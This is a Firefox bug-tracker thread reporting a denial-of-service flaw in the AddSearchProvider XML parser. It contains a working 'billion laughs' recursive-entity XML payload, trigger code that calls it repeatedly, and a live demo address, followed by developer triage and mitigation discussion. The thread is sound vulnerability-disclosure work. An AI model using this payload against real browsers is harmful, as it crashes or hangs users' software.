psych0tr1a Reporter
	Description • 8 years ago

User Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36

Steps to reproduce:

I found a vulnerability in the AddSearchProvider() function's xml parser, it can use external entities.
===================================================
===================================================
Example of DOS exploit:
---------------------------------------------------------------------------------------------
http://yourserver/index.html file:
---------------------------------------------------------------------------------------------
<a href='#' onclick='window.external.AddSearchProvider("http://yourserver/provider.xml?"+Math.random());'>BOOOOOOOOM!</a>
===================================================
===================================================
http://yourserver/provider.xml file:
---------------------------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>


<OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/"
                       xmlns:moz="http://www.mozilla.org/2006/browser/search/">
  <!-- Created on Sat, 24 Jan 2009 19:44:52 GMT -->
  <ShortName>Википедия (Русский) &lol9;</ShortName>
  <Description>Википедия (ru) - Перейти</Description>
  <Url type="text/html" method="get" template="https://ru.wikipedia.org/wiki/Служебная:Search?search={searchTerms}"/>
  <Url type="application/x-suggestions+json" template="https://ru.wikipedia.org/w/api.php?action=opensearch&amp;search={searchTerms}"/>  <Contact>mycroft.mozdev.org@googlemail.com</Contact>
  <Image width="16" height="16">http://mycroftproject.com/updateos.php/id0/wikipedia-ru.ico</Image>
  <Developer>Mycroft Project</Developer>
  <InputEncoding>UTF-8</InputEncoding>
  <moz:SearchForm>http://ru.wikipedia.org/</moz:SearchForm>
  <Url type="application/opensearchdescription+xml" rel="self" template="http://mycroftproject.com/updateos.php/id0/wikipedia-ru.xml"/>
</OpenSearchDescription>
===================================================
===================================================
Live demo:
http://46.101.153.64/31338.html



Actual results:

Firefox stops responding.


Expected results:

Firefox works fine.

	psych0tr1a Reporter
	Comment 1 • 8 years ago

Best regards.

	:Gijs (he/him)
	Comment 2 • 8 years ago

What actually happens for you if you use this or your live testcase? On my machine, I eventually get a dialog that says that adding the search provider failed. No crashes, and I can close the tab normally. That's what I see both on beta 47 and on Nightly. If you're seeing crashes or something else, can you describe it better and, in the case of crashes, link to a crash report you submitted, as linked to on about:crashes? Thanks.

	psych0tr1a Reporter
	Comment 3 • 8 years ago

I havent crashes but i have the firefox not responding message, i can create a video tomorrow

	psych0tr1a Reporter
	Comment 4 • 8 years ago

im sorry for lying, i have crash with this code:
---------------------------------------------------------------------------------------------
<script>
window.external.AddSearchProvider("http://46.101.153.64/provider.xml?"+Math.random());
window.external.AddSearchProvider("http://46.101.153.64/provider.xml?"+Math.random());
window.external.AddSearchProvider("http://46.101.153.64/provider.xml?"+Math.random());
window.external.AddSearchProvider("http://46.101.153.64/provider.xml?"+Math.random());
window.external.AddSearchProvider("http://46.101.153.64/provider.xml?"+Math.random());
window.external.AddSearchProvider("http://46.101.153.64/provider.xml?"+Math.random());
window.external.AddSearchProvider("http://46.101.153.64/provider.xml?"+Math.random());
</script>
---------------------------------------------------------------------------------------------
Screenshots:
http://cs631221.vk.me/v631221136/2ec37/7gFM6_kwLgk.jpg (not responding)
http://cs631221.vk.me/v631221136/2ec40/uHVP-5eT4Ts.jpg (crash reporter
---------------------------------------------------------------------------------------------
about:crashes
bp-efd97252-eb08-480a-996c-d7f042160531|||31.05.2016|||18:20


Best regards.

	psych0tr1a Reporter
	Comment 5 • 8 years ago

any progress?

	:Gijs (he/him)
	Comment 6 • 8 years ago

(In reply to psych0tr1a[>\'XSS"&#x27;<] from comment #5)
> any progress?

The crash you posted is an OOM crash. That means that comparatively speaking, this is "only" a low severity security bug, which also means it isn't going to be top of the list of things to fix. As it is I think this should be opened up. Al/Dan, can you confirm?

I'm not sure what the correct way would be for the frontend to address this. Boris / Eric, you seem to have been the last folks to fix anything in Core::XML (sorry!) - any ideas? Can we tell expat we're not interested in entities? Florian, any ideas as to how likely that is to break 'real' open search files?

	Florian Quèze [:florian]
	Comment 7 • 8 years ago

(In reply to :Gijs Kruitbosch from comment #6)
> Florian, any ideas as to how likely that is to break 'real' open
> search files?

I've never seen a 'real' open search file using entities, but we don't have much data about open search files used in the wild.

	psych0tr1a Reporter
	Comment 8 • 8 years ago

just disallow the custom entities in addition to "system" and "public"
all other brwsers now do it

	Boris Zbarsky [:bzbarsky]
	Comment 9 • 8 years ago

Peter is the one who really knows something about expat.

That said, I would expect you can get exactly the same thing with DOMParser, so I'm not sure we should really care about the AddSearchProvider thing too much....

	psych0tr1a Reporter
	Comment 10 • 8 years ago

why not? its crashes browser! I think DOS is the bug. Or only that DOS what potentially might be exploitable for bof/hof etc?

	psych0tr1a Reporter
	Comment 11 • 8 years ago

can i publicy disclose this?

	Boris Zbarsky [:bzbarsky]
	Comment 12 • 8 years ago

> why not? its crashes browser!

My point is that if (and this needs confirmation) there are other, standard-required, ways to do that which exercise the same code then it might not matter for practical purposes whether we fix this entrypoint or not:  someone who actually wants to crash the browser will simply use standardized entrypoint.

For what it's worth, I did just test if I run the string in comment 0 through DOMParser, it hangs the renderer process in Chrome for forever (10+ minutes so far).  In a Firefox nightly, we spin the CPU for 10-20 seconds, then come back with an error.  Neither browsers uses much memory in the process and I didn't get any OOM crashes, but this last part might be OS-dependent.

> might be exploitable for bof/hof etc?

What do you mean by "bof/hof"?

	psych0tr1a Reporter
	Comment 13 • 8 years ago

buffer/heap overflow

	psych0tr1a Reporter
	Comment 14 • 8 years ago

Ok now i understand you. Thanks.

	psych0tr1a Reporter
	Comment 15 • 8 years ago

what about public disclose?

	Boris Zbarsky [:bzbarsky]
	Comment 16 • 8 years ago

> buffer/heap overflow

Ah.  The whole point of an OOM crash is to crash safely so that the OOM _doesn't_ become one of those.

> what about public disclose?

That's not my call, sorry.

	Al Billings [:abillings - ex-MoCo]
	Comment 17 • 8 years ago

If the bug is not public, please don't publicly disclose it. I'll defer to Dan Veditz on whether to open this issue up. 

As Boris says, this is a "safe" crash and isn't going to lead to an overflow.

	psych0tr1a Reporter
	Comment 18 • 8 years ago

I want cve in firefox:) for me this like achivments in games

	Daniel Veditz [:dveditz]
	Comment 19 • 8 years ago

This is a generic XML DOS we're either going to address or not (bug 151380). For example, Safari detects the recursive entities and gives an error for an malformed document. We could add mitigations like that, either on entity depth or overall expansion size, or both. I don't think there's much the front-end could do that would be useful only for search.

That wouldn't prevent a DOS attack using a large document, especially one designed to compress well and served with gzip encoding, but it would remove this one cheap trick. This is a well known XML DOS, we don't need to keep it hidden.

	Daniel Veditz [:dveditz]
	Comment 20 • 8 years ago

(In reply to psych0tr1a[>\'XSS"&#x27;<] from comment #18)
> I want cve in firefox:) for me this like achivments in games

We don't assign CVEs for simple denial-of-service bugs, sorry.

	psych0tr1a Reporter
	Comment 21 • 8 years ago

Then knows i can disclose this?

	Daniel Veditz [:dveditz]
	Comment 22 • 8 years ago

yes

	Eric Rahm [:erahm]
	Comment 23 • 8 years ago

So it seems like for the expat case we could add an option to turn of entity parsing and update the call to |XML_SetParamEntityParsing| conditional. That might require a *lot* of work to expose to higher levels though.

[1] https://dxr.mozilla.org/mozilla-central/rev/3ccccf8e5036179a3178437cabc154b5e04b333d/parser/htmlparser/nsExpatDriver.cpp#1238